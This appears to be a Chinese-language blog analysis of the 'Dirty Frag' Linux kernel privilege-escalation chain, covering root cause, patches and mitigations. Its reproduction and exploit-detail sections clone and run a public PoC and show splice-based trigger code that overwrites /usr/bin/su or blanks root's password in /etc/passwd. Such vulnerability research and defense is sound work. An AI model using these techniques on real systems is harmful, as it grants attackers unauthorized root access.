Loading ...
Dirty Frag(CVE-2026-43284 / CVE-2026-43500)Linux 内核本地提权漏洞分析与复现

一、漏洞概述

2026 年 5 月 7 日,安全研究员 Hyunwoo Kim(@v4bel)公开披露了 Dirty Frag——一个影响几乎所有主流 Linux 发行版的本地提权(LPE)漏洞链。Dirty Frag 通过链式组合两个独立的内核页缓存写入漏洞,实现了确定性的 root 权限获取。该漏洞无需竞态条件、不会触发内核 panic、成功率极高。

该漏洞链由两个 CVE 组成:

CVE 影响子系统 类型 写入原语
CVE-2026-43284 xfrm/ESP(IPsec) 页缓存任意 4 字节写入 seq_hi 直接控制写入值
CVE-2026-43500 RxRPC 页缓存任意 8 字节写入 fcrypt_decrypt(C, K) 暴力搜索

关键数据:

  • CVSS 评分: 7.8(高危)

  • 影响范围: ESP 变体 Linux 4.10 ~ 7.0(引入 commit cac2661c53f3,2017-01);RxRPC 变体 Linux 6.4 ~ 7.0(引入 commit 2dc334f1a63a,2023-06)

  • 有效生命周期: ESP 变体约 9 年

  • 在野利用: 微软确认已观测到主动攻击,用于后渗透阶段的权限提升

  • 公开 PoC: github.com/V4bel/dirtyfrag

已确认受影响的发行版:

  • Ubuntu 24.04.4(6.17.0-23-generic)

  • RHEL 10.1(6.12.0-124.49.1.el10_1.x86_64)

  • openSUSE Tumbleweed(7.0.2-1-default)

  • CentOS Stream 10(6.12.0-224.el10.x86_64)

  • AlmaLinux 10(6.12.0-124.52.3.el10_1.x86_64)

  • Fedora 44(6.19.14-300.fc44.x86_64)


二、前置知识

2.1 Linux 页缓存(Page Cache)

Linux 内核通过页缓存机制缓存磁盘文件内容。当进程读取文件时,内核优先从页缓存中获取数据,避免磁盘 I/O。页缓存以页(4KB)为单位、以 inode 为键进行管理。

关键特性:

  • 跨进程共享: 同一 inode 的页缓存被所有进程共享。进程 A 对页缓存的修改,进程 B 可立即可见

  • 延迟回写: 修改不会立即写回磁盘,停留在内存中

  • Dirty Frag 的攻击面: 如果攻击者能在内存中篡改页缓存,所有后续读取该文件的进程都会看到被篡改的版本,但磁盘上的原始文件不变

2.2 struct sk_buff 与 frag 机制

sk_buff(socket buffer)是 Linux 网络子系统的核心数据结构,用于在各协议层之间传递网络数据包。

当数据包较大时,sk_buff 使用非线性(nonlinear)模式存储数据——数据存放在 frags 数组中,每个 skb_frag 描述一个内存页片段:

struct sk_buff {
    ...
    unsigned char *head;          // 线性数据区
    skb_shared_info_t *shinfo;    // 共享信息,包含 frags 数组
};

struct skb_shared_info {
    ...
    unsigned short nr_frags;
    skb_frag_t frags[MAX_SKB_FRAGS];  // 页片段数组
};

typedef struct bio_vec skb_frag_t;
// bio_vec = { page, offset, len } — 指向一个内存页的某个区间

关键点: 当通过 splice() 发送数据时,MSG_SPLICE_PAGES 标志使得内核将页缓存页原样引用(零拷贝)放入 frags 槽位,而不是复制数据。这意味着 frags 中的 page 指针直接指向页缓存中的物理页。

2.3 XFRM/ESP 子系统

XFRM(Transform)是 Linux 内核的 IPsec 框架,ESP(Encapsulating Security Payload)是其加密协议。内核在处理 ESP 数据包时,需要对载荷进行 AEAD(Authenticated Encryption with Associated Data)解密

关键路径:udp_rcv → xfrm4_udp_encap_rcv → xfrm_input → esp_input

2.4 RxRPC 子系统

RxRPC 是内核实现的远程过程调用协议,用于 AFS(Andrew File System)等场景。在 RXRPC_SECURITY_AUTH 安全级别下,RxRPC 使用 rxkad 安全类对数据包进行校验和解密。

关键路径:recvmsg → rxrpc_recvmsg → rxrpc_verify_data → rxkad_verify_packet → rxkad_verify_packet_1

2.5 漏洞家族谱系

Dirty Frag 属于与 Dirty Pipe(CVE-2022-0847)和 Copy Fail(CVE-2026-31431)同源的漏洞类。它们的共同特征是:通过 splice 零拷贝机制将页缓存页引入内核数据处理路径,然后在该路径上对共享页进行原地(in-place)写操作,从而篡改页缓存内容

漏洞 污染目标 写入原语 写入位置
Dirty Pipe struct pipe_buffer 任意字节 pipe 页
Copy Fail AF_ALG TX/RX SGL 4 字节 scratch write AEAD 目标页
Dirty Frag (ESP) sk_buff frags 4 字节 seq_hi STORE ESP 解密目标页
Dirty Frag (RxRPC) sk_buff frags 8 字节 fcrypt_decrypt RxRPC 解密目标页

三、漏洞根因深度分析

Dirty Frag 的核心问题在于:当 sk_bufffrags 中包含通过 splice 引入的共享页缓存页时,内核代码路径上的原地解密操作会直接覆写这些共享页——即使认证失败,写入已经发生且不可撤销。

3.1 CVE-2026-43284:xfrm-ESP 页缓存写入

3.1.1 根因:跳过 COW 的快速路径

esp_input() 在执行 AEAD 解密前,应通过 skb_cow_data() 分配私有缓冲区并复制数据。但以下分支创建了绕过 COW 的路径

// net/ipv4/esp4.c - esp_input()
if (!skb_cloned(skb)) {
    if (!skb_is_nonlinear(skb)) {       // [1] 线性 skb:直接跳过
        nfrags = 1;
        goto skip_cow;
    } else if (!skb_has_frag_list(skb)) { // [2] 非线性但无 frag_list:也跳过!
        nfrags = skb_shinfo(skb)->nr_frags;
        nfrags++;
        goto skip_cow;                  // ← 漏洞触发点
    }
}
err = skb_cow_data(skb, 0, &trailer);   // 正常路径:分配私有副本

[2] 处,即使 skb 有 frag(包含页缓存页),只要没有 frag_list,代码就直接跳过 COW,在共享页上执行原地解密。

3.1.2 4 字节 STORE 原语

当使用 ESP + ESN + authencesn(hmac(sha256), cbc(aes)) 组合时,crypto_authenc_esn_decrypt() 在预处理阶段将序列号的高 4 字节移动到 src SGL 末尾:

// crypto/authencesn.c
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
    ...
    if (src == dst) {
        scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
        scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // [3]
        ...
    }
}

[3] 处的 4 字节 STORE 发生在 dst SGL 的 assoclen + cryptlen 位置。如果攻击者通过 splice 将页缓存页 P 放置在该位置,这 4 字节就被写入页 P 的精确偏移处。

3.1.3 攻击者控制写入值

这 4 字节的值来自 ESP 头中的序列号高 32 位(seq_hi),而 seq_hi 由 SA 的 XFRMA_REPLAY_ESN_VAL netlink 属性指定——攻击者在注册 SA 时自由设定

// SA 注册时设置 seq_hi
struct xfrm_replay_state_esn esn = {
    .bmp_len = 1, .seq = 100, .replay_window = 32,
    .seq_hi = patch_seqhi,  // 攻击者控制的 4 字节写入值
};

因此攻击者完全控制:

  • 写入位置: 通过 splice 偏移控制文件内偏移

  • 写入值: 通过 SA 的 seq_hi 控制写入的 4 字节内容

关键: AEAD 认证验证在 STORE 之后运行。即使认证失败(返回 -EBADMSG),STORE 已经完成且不可撤销。

3.1.4 触发条件

注册 XFRM SA 需要 CAP_NET_ADMIN,因此攻击者需要通过 unshare(CLONE_NEWUSER | CLONE_NEWNET) 创建用户/网络命名空间来获取该权限。在某些发行版(如 Ubuntu 的 AppArmor 策略)可能阻止非特权用户命名空间创建。

3.2 CVE-2026-43500:RxRPC 页缓存写入

3.2.1 根因:原地解密共享 frag

rxkad_verify_packet_1() 对 RxRPC 数据包的前 8 字节执行 pcbc(fcrypt) 原地解密

// net/rxrpc/rxkad.c
static int rxkad_verify_packet_1(struct rxrpc_call *call, struct sk_buff *skb,
                                 rxrpc_seq_t seq, struct skcipher_request *req)
{
    ...
    sg_init_table(sg, ARRAY_SIZE(sg));
    ret = skb_to_sgvec(skb, sg, sp->offset, 8);  // frag → SGL

    memset(&iv, 0, sizeof(iv));
    skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [4] src = dst(原地)
    ret = crypto_skcipher_decrypt(req);                 // [5] 8 字节 STORE
}

[4]src == dst(原地操作),skb_to_sgvec() 将 skb 的 frag 直接转换为 SGL——攻击者通过 splice 植入的页缓存页 P 直接成为解密的目标。[5] 处的 8 字节 STORE 直接写入页 P。

3.2.2 间接控制写入值

不同于 ESP 变体直接控制写入值,RxRPC 变体的写入值是 fcrypt_decrypt(C, K) 的结果——使用攻击者的密钥 K 对密文 C 做一次 fcrypt 解密。

fcrypt 是 Andrew File System 专用密码,56 位密钥、8 字节分组。攻击者通过 add_key("rxrpc", ...) 注册 RxRPC v1 令牌时自由设置 K,无需任何特权

攻击者在用户态暴力搜索 K,使得 fcrypt_decrypt(C, K) 产生期望的明文。由于 IV=0 且单分组,pcbc_decrypt 退化为单次 fcrypt_decrypt,可以在用户态完整模拟。

3.2.3 无需用户命名空间权限

与 ESP 变体不同,RxRPC 变体不需要创建用户命名空间的权限。add_key()socket(AF_RXRPC)socket(AF_ALG)splice()recvmsg() 都是普通用户可用的 API。

但 RxRPC 变体的限制是:rxrpc.ko 模块在大多数发行版中默认不加载,而 Ubuntu 是一个例外——它默认加载了 rxrpc.ko


四、漏洞复现

以下复现基于 Kali Linux 6.19.11-amd64,用户需自行在受影响版本的测试环境中操作。

4.1 环境检查

uname -r

4.2 创建测试用户

useradd -m -s /bin/bash testuser
passwd testuser
su - testuser
whoami
id
cat /etc/shadow

4.3 编译并运行 PoC

git clone https://github.com/V4bel/dirtyfrag.git
cd dirtyfrag
gcc -O0 -Wall -o exp exp.c -lutil
./exp

PoC 内部执行流程:

  1. ESP 变体(子进程): unshare(CLONE_NEWUSER | CLONE_NEWNET) 创建用户/网络命名空间 → 注册 48 个 XFRM SA(每个 SA 的 seq_hi 携带一段 4 字节 shellcode)→ 循环 splice 触发 48 次 4 字节页缓存写入 → 覆写 /usr/bin/su 页缓存的前 192 字节为静态 root shell ELF

  2. 检查 ESP 是否成功: 读取 /usr/bin/su 入口偏移处是否已被植入 shellcode 首字节

  3. ESP 成功路径: 父进程 forkpty + execve("/usr/bin/su") → shellcode 执行 setuid(0); setgid(0); setgroups(0, NULL); execve("/bin/sh") → root shell

  4. ESP 失败 → 回退 RxRPC 变体: 在用户态暴力搜索密钥 K_A/K_B/K_C → 三次 splice 触发 RxRPC 原地解密 → 覆写 /etc/passwd 第 1 行 root:x:root::(清空密码字段)→ su 通过 PAM pam_unix.so nullok 无密码认证 → root shell

4.4 验证提权


五、内核源码级分析

5.1 ESP 变体攻击数据流

攻击者构造的 skb 通过环回发送后的结构:

skb {
    head/linear: ESP_hdr(8) + IV(16)              // 24 字节
    frags[0]:    { page=&P, off=i*4, size=16 }    // /usr/bin/su 的页缓存页
}

内核接收端调用链:

udp_rcv(skb)
  → xfrm4_udp_encap_rcv(sk, skb)
    → xfrm_input(skb, IPPROTO_ESP, spi, 0)
      → esp_input(x, skb)
        → pskb_may_pull(skb, sizeof(esp_hdr) + ivlen)
        → if (!skb_cloned(skb) && !skb_has_frag_list(skb))  // ← 脆弱分支
            goto skip_cow;                                   // frag(page=P) 原样保留
        → esp_input_set_header(skb, seqhi)
            skb_push(skb, 4);
            esph->seq_no = XFRM_SKB_CB(skb)->seq.input.hi;  // 攻击者控制的值
        → skb_to_sgvec(skb, sg, 0, skb->len)
        → aead_request_set_crypt(req, sg, sg, elen+ivlen, iv)  // src == dst
        → crypto_aead_decrypt(req)
          → crypto_authenc_esn_decrypt(req)
            → scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, /*out=*/1)
              → memcpy(page_address(P) + i*4, &tmp[1], 4)
                  // 4 字节 STORE: page P[i*4..i*4+3] = 攻击者控制的 seq_hi

5.2 RxRPC 变体攻击数据流

伪造的 DATA 包结构:

skb {
    head/linear: rxrpc_wire_header(28)     // 伪造的 DATA 包头
    frags[0]:    { page=&P, off=offset, size=8 }  // /etc/passwd 的页缓存页
}

内核接收端调用链:

recvmsg(rxsk_cli)
  → rxrpc_recvmsg(sock, msg)
    → rxrpc_recvmsg_data(sock, call, msg)
      → rxrpc_verify_data(call, skb)
        → rxkad_verify_packet(call, skb)
          → rxkad_verify_packet_1(call, skb, seq, req)
            → skb_to_sgvec(skb, sg, sp->offset=28, 8)  // frag → SGL
            → skcipher_request_set_crypt(req, sg, sg, 8, iv={0})  // 原地
            → crypto_skcipher_decrypt(req)
              → crypto_pcbc_decrypt(req)
                → fcrypt_decrypt(page_address(P) + splice_off, ct, K)
                    // 8 字节 STORE: 页 P[splice_off..+8] = fcrypt_decrypt(C, K)

5.3 ESP 变体 exploit 细节

目标文件: /usr/bin/su

前 192 字节被替换为一个静态 root shell ELF,该 ELF:

  • 通过 PT_LOAD 在 0x400000 处映射 0xb8 字节(R+X)

  • 入口点 0x400078(文件偏移 0x78)执行:setgid(0) → setuid(0) → setgroups(0, NULL) → execve("/bin/sh", NULL, envp)

  • 完全绕过 PAM 认证流程

  • 192 字节 = 48 个 4 字节块,通过 48 次 4 字节 STORE 组装

每次触发:

uint8_t hdr[24];
*(uint32_t *)(hdr + 0) = htonl(spi);       // 每块独立 SPI
*(uint32_t *)(hdr + 4) = htonl(SEQ_VAL);   // seq_no_lo
memset(hdr + 8, 0xCC, 16);                 // IV(值不重要)

vmsplice(pfd[1], &(struct iovec){hdr, 24}, 1, 0);
splice(file_fd, &(off_t){i*4}, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);

splice_to_socket() 自动设置 MSG_SPLICE_PAGES,使得 /usr/bin/su 的页缓存页原样进入 frag[0]

5.4 RxRPC 变体 exploit 细节

目标文件: /etc/passwd 第 1 行

原始内容:root:x:0:0:root:/root:/bin/bash

利用三次 8 字节写入(last-write-wins)将第 4~15 字符改为 ::0:0:GGGGGG:

偏移:   0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ...
原始:   r o o t : x : 0 : 0  :  r  o  o  t  :  ...

splice A @ 4, 8B → 4..11 = P_A[0..7]   目标: chars 4..5 = "::"
splice B @ 6, 8B → 6..13 = P_B[0..7]   目标: chars 6..7 = "0:"  (覆写 6..11)
splice C @ 8, 8B → 8..15 = P_C[0..7]   目标: chars 8..9 = "0:" / 15 = ":" /
                                         chars 10..14 ≠ ':' '\0' '\n'
→ 结果: "root::0:0:GGGGGG:/root:/bin/bash"

passwd 字段变为空字符串,PAM 的 pam_unix.so nullok 配置接受空密码,无需提示即返回 PAM_SUCCESS

暴力搜索密钥 K 的过程:

find_K(Ca, check_pa, &Ka, &Pa);                         // 搜索 K_A,~5ms
memcpy(Cb_actual, Pa+2, 6);
memcpy(Cb_actual+6, Cb+6, 2);
find_K(Cb_actual, check_pb, &Kb, &Pb);                  // 搜索 K_B,~5ms
memcpy(Cc_actual, Pb+2, 6);
memcpy(Cc_actual+6, Cc+6, 2);
find_K(Cc_actual, check_pc, &Kc, &Pc);                  // 搜索 K_C,~1s

关键是:每次 splice 写入会改变后续 splice 看到的密文,因此密文链必须级联修正。

5.5 链式组合策略

两个变体互补对方的盲区:

条件 ESP 变体 RxRPC 变体
需要用户命名空间权限
esp4/esp6 模块普遍存在
rxrpc.ko 模块普遍存在 否(仅 Ubuntu 默认加载)
写入值直接可控 否(需暴力搜索)
AppArmor 阻止 unshare 时可用

链式 exploit 流程:

1. 尝试 ESP 变体(子进程):
   unshare(USER|NET) → 注册 XFRM SA → splice → 修改 /usr/bin/su

2. 检查 /usr/bin/su 入口偏移处是否被植入 shellcode
   成功 → 父进程 forkpty + execve("/usr/bin/su") → root shell

3. 失败时回退 RxRPC 变体:
   /etc/passwd 第 1 行 K 搜索 → 三次 splice 触发 → passwd 字段清空
   forkpty + execve("/usr/bin/su") → PAM nullok → root shell

5.6 与 Copy Fail 的关系

Copy Fail(CVE-2026-31431)通过 splice(file → pipe → AF_ALG_fd) 路径利用页缓存。Dirty Frag 的 ESP 变体与 Copy Fail 共享同一个 sinkcrypto_authenc_esn_decrypt 中的 4 字节 scratch write),但触发路径完全不同

  • Copy Fail 依赖 algif_aead 模块 → 可以通过黑名单 algif_aead 缓解

  • Dirty Frag 通过 esp4/esp6rxrpc 模块触发 → 即使已应用 Copy Fail 的 algif_aead 黑名单缓解,系统仍然受 Dirty Frag 影响


六、补丁分析

6.1 ESP 变体补丁(commit f4c50a403)

补丁采用 shared-frag 标记方案:

1) 在 IPv4/IPv6 数据报发送路径中标记共享 frag:

// net/ipv4/ip_output.c - __ip_append_data()
+       if (!(flags & MSG_NO_SHARED_FRAGS))
+           skb_shinfo(skb)->flags |= SKBFL_SHARED_FRAG;

当通过 splice 引入的页缓存页进入 skb frags 时,设置 SKBFL_SHARED_FRAG 标志。

2) 在 ESP 输入快速路径中检查该标志:

// net/ipv4/esp4.c - esp_input()
-   } else if (!skb_has_frag_list(skb)) {
+   } else if (!skb_has_frag_list(skb) &&
+              !skb_has_shared_frag(skb)) {

当检测到 skb 包含共享 frag 时,不再跳过 COW,强制走 skb_cow_data() 路径分配私有副本。

esp6.c 做了相同修改。

6.2 RxRPC 变体补丁

RxRPC 变体补丁已由上游合入,包含在内核 6.6.138、6.12.87、6.18.28、7.0.5 及之后版本中。研究员提交的补丁方案是在原地解密前增加非线性 skb 检查:

// net/rxrpc/call_event.c
-   if (skb_cloned(skb)) {
+   if (skb_cloned(skb) || skb->data_len) {
        /* Unshare the packet so that it can be
         * modified by in-place decryption. */
// net/rxrpc/conn_event.c
-   if (skb_cloned(skb)) {
+   if (skb_cloned(skb) || skb->data_len) {

通过增加 skb->data_len 检查(非零表示有非线性数据),确保非线性 skb 也被 skb_copy() 隔离,不直接在共享 frag 上执行原地解密。


七、检测与防御

7.1 临时缓解(补丁不可用时的应急措施)

黑名单受影响的内核模块并清理页缓存:

sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

注意: 卸载 esp4/esp6 会中断 IPsec VPN 功能,卸载 rxrpc 会中断 AFS 文件系统功能。

7.2 限制用户命名空间

对于 ESP 变体,可以通过限制非特权用户创建用户命名空间来增加攻击门槛:

sysctl -w kernel.unprivileged_userns_clone=0

注意: 这只影响 ESP 变体,RxRPC 变体不需要用户命名空间权限。且 Ubuntu 默认已通过 AppArmor 部分限制了此能力。

7.3 内核升级

各发行版已发布补丁内核,尽快升级:

已修复的上游稳定版:

版本线 首个修复版本
6.6.x 6.6.138
6.12.x 6.12.87
6.18.x 6.18.28
7.0.x 7.0.5

各发行版:

  • Ubuntu:apt update && apt upgrade 获取更新内核

  • Debian:已发布 6.12.86-1 修复版本

  • RHEL/CentOS/AlmaLinux:已发布各版本线修复

  • 源码编译:应用 commit f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4(ESP)及 RxRPC 相关补丁

7.4 检测规则

可以通过以下方式检测利用行为:

auditd 规则: 监控 unshare 系统调用和 add_key("rxrpc") 的异常使用

内核模块加载监控: 检测 rxrpc.ko 被非预期加载(通过 socket(AF_RXRPC) 会触发自动加载)

页缓存完整性: 对关键文件(/usr/bin/su/etc/passwd)做内存哈希校验,检测页缓存与磁盘内容不一致

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇
改为 -->